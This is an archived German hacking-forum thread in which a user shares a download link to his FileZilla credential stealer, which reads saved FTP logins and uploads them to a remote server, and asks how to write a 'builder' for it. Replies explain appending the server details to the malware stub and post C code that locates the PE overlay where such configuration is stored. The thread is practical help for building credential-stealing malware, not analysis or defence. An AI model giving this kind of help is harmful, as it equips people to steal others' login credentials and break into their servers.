PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Erfolgserlebnis - FTP-Stealer



Darkmiller
30.07.2009, 15:15
Hey Leuts,

hab mein erstes "sinnvolles" Programm gecoded :D

Es ist ein Filezilla - Stealer... Er liest aus einer XML-Datei alles aus und filtert dann die einzelnen Tags, so das am Ende in einer Textdatei Benutzerdaten stehen die danach auf einen FTP-Server geuploadet werden...

Da ich heute großzügig bin, hier mein source:

http://http://ul.to/7w60qk
Passwort: Free-Hack

nun, hätte aber noch 'ne Frage :)

Wie kann ich dafür einen "Builder" Programmieren (also was brauche ich und wie ungefähr mache ich das?, bitte relativ simpel erklären :p)

LG Darkmiller :cool:

LeadOr
30.07.2009, 15:17
du schreibst die daten die man brauch für den ftp server ans ende der stub (deinem eigentlichen stealer) und in der stub schreibste nen code, dass die daten am ende der datei wieder ausliest wenn sie ausgeführt wird.

das is jetzt mal ne komplett einfache erklärung wie du das in deiner sprache umsetzt musstu wissen ;D

Darkmiller
30.07.2009, 15:21
gut jetzt weiß ich das grob XD gibts dafür so ne art Tutorial oder etwas in die richtung? :)

blackberry
30.07.2009, 15:32
Ein Tutorial wie du Daten an eine Datei anhängst?
Also bitte - streng deinen Kopf ein bisschen an.

Darkmiller
30.07.2009, 15:34
das meine ich nicht, wenn ich einfach den hoster, und die benutzerdaten ranhänge wird er sich nicht einfach über die daten auf dem server einloggen...

blackberry
30.07.2009, 15:45
Ja und?

argv[0] mit "rb"-Modus (read-binary - siehe fopen) öffnen

Wenn die größe der Daten konstant ist vom Ende die Länge substrahieren und mit fseek() dahin und dann einlesen.

Wo liegt das Problem?

EDIT:

Wenn du den Abstand zu den Daten (bzw. "EOF-Daten", wie sie von einigen genannt werden - ich finde diese Bezeichnung aber nicht so gut... naja, anderes Thema) anhand des PE Formats berechnen willst, kannst du das so machen:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/*
für die Strukturen in "winnt.h"
*/
#include <windows.h>


int main(void)
{
FILE *fp;
char *buffer;
int sz;
int offset;
IMAGE_DOS_HEADER *idh;
IMAGE_NT_HEADERS *inh;
IMAGE_SECTION_HEADER *ish;


/* Datei öffnen */
if (!(fp = fopen("test.exe", "rb")))
{
puts("Fehler: konnte die Datei nicht öffnen!");
exit(0);
}

/* Dateigröße holen */
fseek(fp, 0, SEEK_END);
sz = ftell(fp);
fseek(fp, 0, SEEK_SET);

/* Speicherplatz reservieren */
if (!(buffer = (char *) malloc(sz + 1)))
{
puts("Fehler: nicht genug Speicher vorhanden!");
exit(0);
}

/* Datei einlesen */
fread(buffer, 1, sz, fp);
fclose(fp);

/* IMAGE_DOS_HEADER zuweisen */
idh = (IMAGE_DOS_HEADER *) buffer;

/* IMAGE_NT_HEADERS zuweisen */
inh = (IMAGE_NT_HEADERS *) &buffer[idh->e_lfanew];

/* den letzten IMAGE_SECTION_HEADER finden */
offset = idh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (inh->FileHeader.NumberOfSections - 1) * sizeof(IMAGE_SECTION_HEADER);
ish = (IMAGE_SECTION_HEADER *) &buffer[offset];

/* offset zu "EOF" berechnen */
offset = ish->PointerToRawData + ish->SizeOfRawData;

/* offset und "EOF-Daten" ausgeben (falls möglich) */
printf(
"Das Offset zu \"EOF\" beträgt %d Bytes!\n"
"---------------------------------------\n"
"%s\n"
"---------------------------------------\n"
, offset
, &buffer[offset]
);

getc(stdin);
return 0;
}

(der Code ist 3 Monate alt und ich habe ihn schon mehrfach gepostet - es wäre also eventuell auch möglich gewesen diesen via SuFu zu finden [bin mir aber eigentlich auch nicht sicher...])

wacked
30.07.2009, 18:13
http://hackhound.org/forum/index.php?topic=9492.0